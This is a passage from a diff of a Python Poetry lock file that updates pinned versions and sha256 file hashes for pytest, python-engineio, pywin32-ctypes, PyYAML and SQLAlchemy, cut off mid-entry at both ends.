"sha256:78bf16451a2eb8c7a2ea98e32dc119fd2aa758f1d5d66dbf0a59d69a3969df32"}, + {file = "pytest-7.4.0.tar.gz", hash = "sha256:b4bf8c45bd59934ed84001ad51e11b4ee40d40a1229d2c79f9c592b0a3f6bd8a"}, ] [package.dependencies] @@ -1487,18 +1471,19 @@ pytest = ">=5.0.0" [[package]] name = "python-engineio" -version = "4.4.1" +version = "4.5.1" description = "Engine.IO server and client for Python" optional = false python-versions = ">=3.6" files = [ - {file = "python-engineio-4.4.1.tar.gz", hash = "sha256:eb3663ecb300195926b526386f712dff84cd092c818fb7b62eeeda9160120c29"}, - {file = "python_engineio-4.4.1-py3-none-any.whl", hash = "sha256:28ab67f94cba2e5f598cbb04428138fd6bb8b06d3478c939412da445f24f0773"}, + {file = "python-engineio-4.5.1.tar.gz", hash = "sha256:b167a1b208fcdce5dbe96a61a6ca22391cfa6715d796c22de93e3adf9c07ae0c"}, + {file = "python_engineio-4.5.1-py3-none-any.whl", hash = "sha256:67a675569f3e9bb274a8077f3c2068a8fe79cbfcb111cf31ca27b968484fe6c7"}, ] [package.extras] asyncio-client = ["aiohttp (>=3.4)"] client = ["requests (>=2.21.0)", "websocket-client (>=0.54.0)"] +docs = ["sphinx"] [[package]] name = "python-jose" @@ -1592,51 +1577,62 @@ resolved_reference = "a565e9b5f1c076ebcfda6234700b723e204bcafc" [[package]] name = "pywin32-ctypes" -version = "0.2.1" +version = "0.2.2" description = "A (partial) reimplementation of pywin32 using ctypes/cffi" optional = false python-versions = ">=3.6" files = [ - {file = "pywin32-ctypes-0.2.1.tar.gz", hash = "sha256:934a2def1e5cbc472b2b6bf80680c0f03cd87df65dfd58bfd1846969de095b03"}, - {file = "pywin32_ctypes-0.2.1-py3-none-any.whl", hash = "sha256:b9a53ef754c894a525469933ab2a447c74ec1ea6b9d2ef446f40ec50d3dcec9f"}, + {file = "pywin32-ctypes-0.2.2.tar.gz", hash = "sha256:3426e063bdd5fd4df74a14fa3cf80a0b42845a87e1d1e81f6549f9daec593a60"}, + {file = "pywin32_ctypes-0.2.2-py3-none-any.whl", hash = "sha256:bf490a1a709baf35d688fe0ecf980ed4de11d2b3e37b51e5442587a75d9957e7"}, ] [[package]] name = "pyyaml" -version = "5.4.1" +version = "6.0.1" description = "YAML parser and emitter for Python" optional = false -python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*, !=3.4.*, !=3.5.*" +python-versions = ">=3.6" files = [ - {file = "PyYAML-5.4.1-cp27-cp27m-macosx_10_9_x86_64.whl", hash = "sha256:3b2b1824fe7112845700f815ff6a489360226a5609b96ec2190a45e62a9fc922"}, - {file = "PyYAML-5.4.1-cp27-cp27m-win32.whl", hash = "sha256:129def1b7c1bf22faffd67b8f3724645203b79d8f4cc81f674654d9902cb4393"}, - {file = "PyYAML-5.4.1-cp27-cp27m-win_amd64.whl", hash = "sha256:4465124ef1b18d9ace298060f4eccc64b0850899ac4ac53294547536533800c8"}, - {file = "PyYAML-5.4.1-cp27-cp27mu-manylinux1_x86_64.whl", hash = "sha256:bb4191dfc9306777bc594117aee052446b3fa88737cd13b7188d0e7aa8162185"}, - {file = "PyYAML-5.4.1-cp36-cp36m-macosx_10_9_x86_64.whl", hash = "sha256:6c78645d400265a062508ae399b60b8c167bf003db364ecb26dcab2bda048253"}, - {file = "PyYAML-5.4.1-cp36-cp36m-manylinux1_x86_64.whl", hash = "sha256:4e0583d24c881e14342eaf4ec5fbc97f934b999a6828693a99157fde912540cc"}, - {file = "PyYAML-5.4.1-cp36-cp36m-manylinux2014_aarch64.whl", hash = "sha256:72a01f726a9c7851ca9bfad6fd09ca4e090a023c00945ea05ba1638c09dc3347"}, - {file = "PyYAML-5.4.1-cp36-cp36m-manylinux2014_s390x.whl", hash = "sha256:895f61ef02e8fed38159bb70f7e100e00f471eae2bc838cd0f4ebb21e28f8541"}, - {file = "PyYAML-5.4.1-cp36-cp36m-win32.whl", hash = "sha256:3bd0e463264cf257d1ffd2e40223b197271046d09dadf73a0fe82b9c1fc385a5"}, - {file = "PyYAML-5.4.1-cp36-cp36m-win_amd64.whl", hash = "sha256:e4fac90784481d221a8e4b1162afa7c47ed953be40d31ab4629ae917510051df"}, - {file = "PyYAML-5.4.1-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:5accb17103e43963b80e6f837831f38d314a0495500067cb25afab2e8d7a4018"}, - {file = "PyYAML-5.4.1-cp37-cp37m-manylinux1_x86_64.whl", hash = "sha256:e1d4970ea66be07ae37a3c2e48b5ec63f7ba6804bdddfdbd3cfd954d25a82e63"}, - {file = "PyYAML-5.4.1-cp37-cp37m-manylinux2014_aarch64.whl", hash = "sha256:cb333c16912324fd5f769fff6bc5de372e9e7a202247b48870bc251ed40239aa"}, - {file = "PyYAML-5.4.1-cp37-cp37m-manylinux2014_s390x.whl", hash = "sha256:fe69978f3f768926cfa37b867e3843918e012cf83f680806599ddce33c2c68b0"}, - {file = "PyYAML-5.4.1-cp37-cp37m-win32.whl", hash = "sha256:dd5de0646207f053eb0d6c74ae45ba98c3395a571a2891858e87df7c9b9bd51b"}, - {file = "PyYAML-5.4.1-cp37-cp37m-win_amd64.whl", hash = "sha256:08682f6b72c722394747bddaf0aa62277e02557c0fd1c42cb853016a38f8dedf"}, - {file = "PyYAML-5.4.1-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:d2d9808ea7b4af864f35ea216be506ecec180628aced0704e34aca0b040ffe46"}, - {file = "PyYAML-5.4.1-cp38-cp38-manylinux1_x86_64.whl", hash = "sha256:8c1be557ee92a20f184922c7b6424e8ab6691788e6d86137c5d93c1a6ec1b8fb"}, - {file = "PyYAML-5.4.1-cp38-cp38-manylinux2014_aarch64.whl", hash = "sha256:fd7f6999a8070df521b6384004ef42833b9bd62cfee11a09bda1079b4b704247"}, - {file = "PyYAML-5.4.1-cp38-cp38-manylinux2014_s390x.whl", hash = "sha256:bfb51918d4ff3d77c1c856a9699f8492c612cde32fd3bcd344af9be34999bfdc"}, - {file = "PyYAML-5.4.1-cp38-cp38-win32.whl", hash = "sha256:fa5ae20527d8e831e8230cbffd9f8fe952815b2b7dae6ffec25318803a7528fc"}, - {file = "PyYAML-5.4.1-cp38-cp38-win_amd64.whl", hash = "sha256:0f5f5786c0e09baddcd8b4b45f20a7b5d61a7e7e99846e3c799b05c7c53fa696"}, - {file = "PyYAML-5.4.1-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:294db365efa064d00b8d1ef65d8ea2c3426ac366c0c4368d930bf1c5fb497f77"}, - {file = "PyYAML-5.4.1-cp39-cp39-manylinux1_x86_64.whl", hash = "sha256:74c1485f7707cf707a7aef42ef6322b8f97921bd89be2ab6317fd782c2d53183"}, - {file = "PyYAML-5.4.1-cp39-cp39-manylinux2014_aarch64.whl", hash = "sha256:d483ad4e639292c90170eb6f7783ad19490e7a8defb3e46f97dfe4bacae89122"}, - {file = "PyYAML-5.4.1-cp39-cp39-manylinux2014_s390x.whl", hash = "sha256:fdc842473cd33f45ff6bce46aea678a54e3d21f1b61a7750ce3c498eedfe25d6"}, - {file = "PyYAML-5.4.1-cp39-cp39-win32.whl", hash = "sha256:49d4cdd9065b9b6e206d0595fee27a96b5dd22618e7520c33204a4a3239d5b10"}, - {file = "PyYAML-5.4.1-cp39-cp39-win_amd64.whl", hash = "sha256:c20cfa2d49991c8b4147af39859b167664f2ad4561704ee74c1de03318e898db"}, - {file = "PyYAML-5.4.1.tar.gz", hash = "sha256:607774cbba28732bfa802b54baa7484215f530991055bb562efbed5b2f20a45e"}, + {file = "PyYAML-6.0.1-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:d858aa552c999bc8a8d57426ed01e40bef403cd8ccdd0fc5f6f04a00414cac2a"}, + {file = "PyYAML-6.0.1-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:fd66fc5d0da6d9815ba2cebeb4205f95818ff4b79c3ebe268e75d961704af52f"}, + {file = "PyYAML-6.0.1-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:69b023b2b4daa7548bcfbd4aa3da05b3a74b772db9e23b982788168117739938"}, + {file = "PyYAML-6.0.1-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:81e0b275a9ecc9c0c0c07b4b90ba548307583c125f54d5b6946cfee6360c733d"}, + {file = "PyYAML-6.0.1-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:ba336e390cd8e4d1739f42dfe9bb83a3cc2e80f567d8805e11b46f4a943f5515"}, + {file = "PyYAML-6.0.1-cp310-cp310-win32.whl", hash = "sha256:bd4af7373a854424dabd882decdc5579653d7868b8fb26dc7d0e99f823aa5924"}, + {file = "PyYAML-6.0.1-cp310-cp310-win_amd64.whl", hash = "sha256:fd1592b3fdf65fff2ad0004b5e363300ef59ced41c2e6b3a99d4089fa8c5435d"}, + {file = "PyYAML-6.0.1-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:6965a7bc3cf88e5a1c3bd2e0b5c22f8d677dc88a455344035f03399034eb3007"}, + {file = "PyYAML-6.0.1-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:f003ed9ad21d6a4713f0a9b5a7a0a79e08dd0f221aff4525a2be4c346ee60aab"}, + {file = "PyYAML-6.0.1-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:42f8152b8dbc4fe7d96729ec2b99c7097d656dc1213a3229ca5383f973a5ed6d"}, + {file = "PyYAML-6.0.1-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:062582fca9fabdd2c8b54a3ef1c978d786e0f6b3a1510e0ac93ef59e0ddae2bc"}, + {file = "PyYAML-6.0.1-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:d2b04aac4d386b172d5b9692e2d2da8de7bfb6c387fa4f801fbf6fb2e6ba4673"}, + {file = "PyYAML-6.0.1-cp311-cp311-win32.whl", hash = "sha256:1635fd110e8d85d55237ab316b5b011de701ea0f29d07611174a1b42f1444741"}, + {file = "PyYAML-6.0.1-cp311-cp311-win_amd64.whl", hash = "sha256:bf07ee2fef7014951eeb99f56f39c9bb4af143d8aa3c21b1677805985307da34"}, + {file = "PyYAML-6.0.1-cp36-cp36m-macosx_10_9_x86_64.whl", hash = "sha256:50550eb667afee136e9a77d6dc71ae76a44df8b3e51e41b77f6de2932bfe0f47"}, + {file = "PyYAML-6.0.1-cp36-cp36m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:1fe35611261b29bd1de0070f0b2f47cb6ff71fa6595c077e42bd0c419fa27b98"}, + {file = "PyYAML-6.0.1-cp36-cp36m-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:704219a11b772aea0d8ecd7058d0082713c3562b4e271b849ad7dc4a5c90c13c"}, + {file = "PyYAML-6.0.1-cp36-cp36m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:afd7e57eddb1a54f0f1a974bc4391af8bcce0b444685d936840f125cf046d5bd"}, + {file = "PyYAML-6.0.1-cp36-cp36m-win32.whl", hash = "sha256:fca0e3a251908a499833aa292323f32437106001d436eca0e6e7833256674585"}, + {file = "PyYAML-6.0.1-cp36-cp36m-win_amd64.whl", hash = "sha256:f22ac1c3cac4dbc50079e965eba2c1058622631e526bd9afd45fedd49ba781fa"}, + {file = "PyYAML-6.0.1-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:b1275ad35a5d18c62a7220633c913e1b42d44b46ee12554e5fd39c70a243d6a3"}, + {file = "PyYAML-6.0.1-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:18aeb1bf9a78867dc38b259769503436b7c72f7a1f1f4c93ff9a17de54319b27"}, + {file = "PyYAML-6.0.1-cp37-cp37m-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:596106435fa6ad000c2991a98fa58eeb8656ef2325d7e158344fb33864ed87e3"}, + {file = "PyYAML-6.0.1-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:baa90d3f661d43131ca170712d903e6295d1f7a0f595074f151c0aed377c9b9c"}, + {file = "PyYAML-6.0.1-cp37-cp37m-win32.whl", hash = "sha256:9046c58c4395dff28dd494285c82ba00b546adfc7ef001486fbf0324bc174fba"}, + {file = "PyYAML-6.0.1-cp37-cp37m-win_amd64.whl", hash = "sha256:4fb147e7a67ef577a588a0e2c17b6db51dda102c71de36f8549b6816a96e1867"}, + {file = "PyYAML-6.0.1-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:1d4c7e777c441b20e32f52bd377e0c409713e8bb1386e1099c2415f26e479595"}, + {file = "PyYAML-6.0.1-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:a0cd17c15d3bb3fa06978b4e8958dcdc6e0174ccea823003a106c7d4d7899ac5"}, + {file = "PyYAML-6.0.1-cp38-cp38-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:28c119d996beec18c05208a8bd78cbe4007878c6dd15091efb73a30e90539696"}, + {file = "PyYAML-6.0.1-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:7e07cbde391ba96ab58e532ff4803f79c4129397514e1413a7dc761ccd755735"}, + {file = "PyYAML-6.0.1-cp38-cp38-win32.whl", hash = "sha256:184c5108a2aca3c5b3d3bf9395d50893a7ab82a38004c8f61c258d4428e80206"}, + {file = "PyYAML-6.0.1-cp38-cp38-win_amd64.whl", hash = "sha256:1e2722cc9fbb45d9b87631ac70924c11d3a401b2d7f410cc0e3bbf249f2dca62"}, + {file = "PyYAML-6.0.1-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:9eb6caa9a297fc2c2fb8862bc5370d0303ddba53ba97e71f08023b6cd73d16a8"}, + {file = "PyYAML-6.0.1-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:c8098ddcc2a85b61647b2590f825f3db38891662cfc2fc776415143f599bb859"}, + {file = "PyYAML-6.0.1-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:5773183b6446b2c99bb77e77595dd486303b4faab2b086e7b17bc6bef28865f6"}, + {file = "PyYAML-6.0.1-cp39-cp39-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:b786eecbdf8499b9ca1d697215862083bd6d2a99965554781d0d8d1ad31e13a0"}, + {file = "PyYAML-6.0.1-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:bc1bf2925a1ecd43da378f4db9e4f799775d6367bdb94671027b73b393a7c42c"}, + {file = "PyYAML-6.0.1-cp39-cp39-win32.whl", hash = "sha256:faca3bdcf85b2fc05d06ff3fbc1f83e1391b3e724afa3feba7d13eeab355484c"}, + {file = "PyYAML-6.0.1-cp39-cp39-win_amd64.whl", hash = "sha256:510c9deebc5c0225e8c96813043e62b680ba2f9c50a08d3724c7f28a747d1486"}, + {file = "PyYAML-6.0.1.tar.gz", hash = "sha256:bfdf460b1736c775f2ba9f6a92bca30bc2095067b8a9d77876d1fad6cc3b4a43"}, ] [[package]] @@ -1860,52 +1856,52 @@ files = [ [[package]] name = "sqlalchemy" -version = "2.0.16" +version = "2.0.19" description = "Database Abstraction Library" optional = false python-versions = ">=3.7" files = [ - {file = "SQLAlchemy-2.0.16-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:7641f6ed2682de84d77c4894cf2e43700f3cf7a729361d7f9cac98febf3d8614"}, - {file = "SQLAlchemy-2.0.16-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:8d3cbdb2f07fb0e4b897dc1df39166735e194fb946f28f26f4c9f9801c8b24f7"}, - {file = "SQLAlchemy-2.0.16-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:a08a791c75d6154d46914d1e23bd81d9455f2950ec1de81f2723848c593d2c8b"}, - {file = "SQLAlchemy-2.0.16-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:91eb8f89fcce8f709f8a4d65d265bc48a80264ee14c7c9e955f3222f19b4b39c"}, - {file = "SQLAlchemy-2.0.16-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:fc1dae11bd5167f9eb53b3ccad24a79813004612141e76de21cf4c028dc30b34"}, - {file = "SQLAlchemy-2.0.16-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:b2801f85c5c0293aa710f8aa5262c707a83c1c203962ae5a22b4d9095e71aa9d"}, - {file = "SQLAlchemy-2.0.16-cp310-cp310-win32.whl", hash = "sha256:c5e333b81fe10d14efebd4e9429b7bb865ed9463ca8bef07a7136dfa1fd4a37b"}, - {file = "SQLAlchemy-2.0.16-cp310-cp310-win_amd64.whl", hash = "sha256:f387b496a4c9474d8580195bb2660264a3f295a04d3a9d00f4fa15e9e597427e"}, - {file = "SQLAlchemy-2.0.16-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:7be04dbe3470fe8dd332fdb48c979887c381ef6c635eddf2dec43d2766111be4"}, - {file = "SQLAlchemy-2.0.16-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:f2938edc512dd1fa48653e14c1655ab46144d4450f0e6b33da7acd8ba77fbfd7"}, - {file = "SQLAlchemy-2.0.16-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:a5a2856e12cf5f54301ddf043bcbf0552561d61555e1bcf348b63f42b8e1eec2"}, - {file = "SQLAlchemy-2.0.16-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:90d320fde566b864adbc19abb40ecb80f4e25d6f084639969bb972d5cca16858"}, - {file = "SQLAlchemy-2.0.16-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:6e85e315725807c127ad8ba3d628fdb861cf9ebfb0e10c39a97c01e257cdd71b"}, - {file = "SQLAlchemy-2.0.16-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:63ea36c08792a7a8a08958bc806ecff6b491386feeaf14607c3d9d2d9325e67f"}, - {file = "SQLAlchemy-2.0.16-cp311-cp311-win32.whl", hash = "sha256:bdaf89dd82f4a0e1b8b5ffc9cdc0c9551be6175f7eee5af6a838e92ba2e57100"}, - {file = "SQLAlchemy-2.0.16-cp311-cp311-win_amd64.whl", hash = "sha256:5a934eff1a2882137be3384826f997db8441d43b61fda3094923e69fffe474be"}, - {file = "SQLAlchemy-2.0.16-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:fbcc51fdbc89fafe4f4fe66f59372a8be88ded04de34ef438ab04f980beb12d4"}, - {file = "SQLAlchemy-2.0.16-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:ff6496ad5e9dc8baeb93a151cc2f599d01e5f8928a2aaf0b09a06428fdbaf553"}, - {file = "SQLAlchemy-2.0.16-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:8d6ef848e5afcd1bda3e9a843751f845c0ca888b61e669237680e913d84ec206"}, - {file = "SQLAlchemy-2.0.16-cp37-cp37m-musllinux_1_1_aarch64.whl", hash = "sha256:3ef876615ff4b53e2033022195830ec4941a6e21068611f8d77de60203b90a98"}, - {file = "SQLAlchemy-2.0.16-cp37-cp37m-musllinux_1_1_x86_64.whl", hash = "sha256:8544c6e62eacb77d5106e2055ef10f2407fc0dbd547e879f8745b2032eefd2bc"}, - {file = "SQLAlchemy-2.0.16-cp37-cp37m-win32.whl", hash = "sha256:2f3b6c31b915159b96b68372212fa77f69230b0a32acab40cf539d2823954f5a"}, - {file = "SQLAlchemy-2.0.16-cp37-cp37m-win_amd64.whl", hash = "sha256:d0c96592f54edd571e00ba6b1ed5df8263328ca1da9e78088c0ebc93c2e6562c"}, - {file = "SQLAlchemy-2.0.16-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:a2e9f50a906d0b81292576a9fb458f8cace904c81a67088f4a2ca9ff2856f55d"}, - {file = "SQLAlchemy-2.0.16-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:dc97238fa44be86971270943a0c21c19ce18b8d1596919048e57912e8abc02cc"}, - {file = "SQLAlchemy-2.0.16-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:0db6734cb5644c55d0262a813b764c6e2cda1e66e939a488b3d6298cdc7344c2"}, - {file = "SQLAlchemy-2.0.16-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:131f0c894c6572cb1bdcf97c92d999d3128c4ff1ca13061296057072f61afe13"}, - {file = "SQLAlchemy-2.0.16-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:f662cf69484c59f8a3435902c40dfc34d86050bdb15e23d437074ce9f153306b"}, - {file = "SQLAlchemy-2.0.16-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:b72f4e4def50414164a1d899f2ce4e782a029fad0ed5585981d1611e8ae29a74"}, - {file = "SQLAlchemy-2.0.16-cp38-cp38-win32.whl", hash = "sha256:0e4645b260cfe375a0603aa117f0a47680864cf37833129da870919e88b08d8f"}, - {file = "SQLAlchemy-2.0.16-cp38-cp38-win_amd64.whl", hash = "sha256:f409f35a0330ab0cb18ece736b86d8b8233c64f4461fcb10993f67afc0ac7e5a"}, - {file = "SQLAlchemy-2.0.16-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:e19546924f0cf2ec930d1faf318b7365e5827276410a513340f31a2b423e96a4"}, - {file = "SQLAlchemy-2.0.16-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:ce1fc3f64fd42d5f763d6b83651471f32920338a1ba107a3186211474861af57"}, - {file = "SQLAlchemy-2.0.16-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:8e2569dac4e3cb85365b91ab569d06a221e0e17e65ce59949d00c3958946282b"}, - {file = "SQLAlchemy-2.0.16-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:61f2035dea56ff1a429077e481496f813378beb02b823d2e3e7eb05bc1a7a8ca"}, - {file = "SQLAlchemy-2.0.16-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:81d867c1be5abd49f7e547c108391f371a9d980ba7ec34666c50d683f782b754"}, - {file = "SQLAlchemy-2.0.16-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:2de1477af7f48c633b8ecb88245aedd811dca88e88aee9e9d787b388abe74c44"}, - {file = "SQLAlchemy-2.0.16-cp39-cp39-win32.whl", hash = "sha256:5e8522b49e0e640287308b68f71cc338446bbe1c226c8f81743baa91b0246e92"}, - {file = "SQLAlchemy-2.0.16-cp39-cp39-win_amd64.whl", hash = "sha256:43e69c8c1cea0188b7094e22fb93ae1a1890aac748628b7e925024a206f75368"}, - {file = "SQLAlchemy-2.0.16-py3-none-any.whl", hash = "sha256:53081c6fce0d49bb36d05f12dc87e008c9b0df58a163b792c5fc4ac638925f98"}, - {file = "SQLAlchemy-2.0.16.tar.gz", hash = "sha256:1e2caba78e7d1f5003e88817b7a1754d4e58f4a8f956dc423bf8e304c568ab09"}, + {file = "SQLAlchemy-2.0.19-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:9deaae357edc2091a9ed5d25e9ee8bba98bcfae454b3911adeaf159c2e9ca9e3"}, + {file = "SQLAlchemy-2.0.19-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:0bf0fd65b50a330261ec7fe3d091dfc1c577483c96a9fa1e4323e932961aa1b5"}, + {file = "SQLAlchemy-2.0.19-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:1d90ccc15ba1baa345796a8fb1965223ca7ded2d235ccbef80a47b85cea2d71a"}, + {file = "SQLAlchemy-2.0.19-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:cb4e688f6784427e5f9479d1a13617f573de8f7d4aa713ba82813bcd16e259d1"}, + {file = "SQLAlchemy-2.0.19-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:584f66e5e1979a7a00f4935015840be627e31ca29ad13f49a6e51e97a3fb8cae"}, + {file = "SQLAlchemy-2.0.19-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:2c69ce70047b801d2aba3e5ff3cba32014558966109fecab0c39d16c18510f15"}, + {file = "SQLAlchemy-2.0.19-cp310-cp310-win32.whl", hash = "sha256:96f0463573469579d32ad0c91929548d78314ef95c210a8115346271beeeaaa2"}, + {file = "SQLAlchemy-2.0.19-cp310-cp310-win_amd64.whl", hash = "sha256:22bafb1da60c24514c141a7ff852b52f9f573fb933b1e6b5263f0daa28ce6db9"}, + {file = "SQLAlchemy-2.0.19-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:d6894708eeb81f6d8193e996257223b6bb4041cb05a17cd5cf373ed836ef87a2"}, + {file = "SQLAlchemy-2.0.19-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:d8f2afd1aafded7362b397581772c670f20ea84d0a780b93a1a1529da7c3d369"}, + {file = "SQLAlchemy-2.0.19-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:b15afbf5aa76f2241184c1d3b61af1a72ba31ce4161013d7cb5c4c2fca04fd6e"}, + {file = "SQLAlchemy-2.0.19-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:8fc05b59142445a4efb9c1fd75c334b431d35c304b0e33f4fa0ff1ea4890f92e"}, + {file = "SQLAlchemy-2.0.19-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:5831138f0cc06b43edf5f99541c64adf0ab0d41f9a4471fd63b54ae18399e4de"}, + {file = "SQLAlchemy-2.0.19-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:3afa8a21a9046917b3a12ffe016ba7ebe7a55a6fc0c7d950beb303c735c3c3ad"}, + {file = "SQLAlchemy-2.0.19-cp311-cp311-win32.whl", hash = "sha256:c896d4e6ab2eba2afa1d56be3d0b936c56d4666e789bfc59d6ae76e9fcf46145"}, + {file = "SQLAlchemy-2.0.19-cp311-cp311-win_amd64.whl", hash = "sha256:024d2f67fb3ec697555e48caeb7147cfe2c08065a4f1a52d93c3d44fc8e6ad1c"}, + {file = "SQLAlchemy-2.0.19-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:89bc2b374ebee1a02fd2eae6fd0570b5ad897ee514e0f84c5c137c942772aa0c"}, + {file = "SQLAlchemy-2.0.19-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:dd4d410a76c3762511ae075d50f379ae09551d92525aa5bb307f8343bf7c2c12"}, + {file = "SQLAlchemy-2.0.19-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:f469f15068cd8351826df4080ffe4cc6377c5bf7d29b5a07b0e717dddb4c7ea2"}, + {file = "SQLAlchemy-2.0.19-cp37-cp37m-musllinux_1_1_aarch64.whl", hash = "sha256:cda283700c984e699e8ef0fcc5c61f00c9d14b6f65a4f2767c97242513fcdd84"}, + {file = "SQLAlchemy-2.0.19-cp37-cp37m-musllinux_1_1_x86_64.whl", hash = "sha256:43699eb3f80920cc39a380c159ae21c8a8924fe071bccb68fc509e099420b148"}, + {file = "SQLAlchemy-2.0.19-cp37-cp37m-win32.whl", hash = "sha256:61ada5831db36d897e28eb95f0f81814525e0d7927fb51145526c4e63174920b"}, + {file = "SQLAlchemy-2.0.19-cp37-cp37m-win_amd64.whl", hash = "sha256:57d100a421d9ab4874f51285c059003292433c648df6abe6c9c904e5bd5b0828"}, + {file = "SQLAlchemy-2.0.19-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:16a310f5bc75a5b2ce7cb656d0e76eb13440b8354f927ff15cbaddd2523ee2d1"}, + {file = "SQLAlchemy-2.0.19-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:cf7b5e3856cbf1876da4e9d9715546fa26b6e0ba1a682d5ed2fc3ca4c7c3ec5b"}, + {file = "SQLAlchemy-2.0.19-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:2e7b69d9ced4b53310a87117824b23c509c6fc1f692aa7272d47561347e133b6"}, + {file = "SQLAlchemy-2.0.19-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:8f9eb4575bfa5afc4b066528302bf12083da3175f71b64a43a7c0badda2be365"}, + {file = "SQLAlchemy-2.0.19-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:6b54d1ad7a162857bb7c8ef689049c7cd9eae2f38864fc096d62ae10bc100c7d"}, + {file = "SQLAlchemy-2.0.19-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:5d6afc41ca0ecf373366fd8e10aee2797128d3ae45eb8467b19da4899bcd1ee0"}, + {file = "SQLAlchemy-2.0.19-cp38-cp38-win32.whl", hash = "sha256:430614f18443b58ceb9dedec323ecddc0abb2b34e79d03503b5a7579cd73a531"}, + {file = "SQLAlchemy-2.0.19-cp38-cp38-win_amd64.whl", hash = "sha256:eb60699de43ba1a1f77363f563bb2c652f7748127ba3a774f7cf2c7804aa0d3d"}, + {file = "SQLAlchemy-2.0.19-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:a752b7a9aceb0ba173955d4f780c64ee15a1a991f1c52d307d6215c6c73b3a4c"}, + {file = 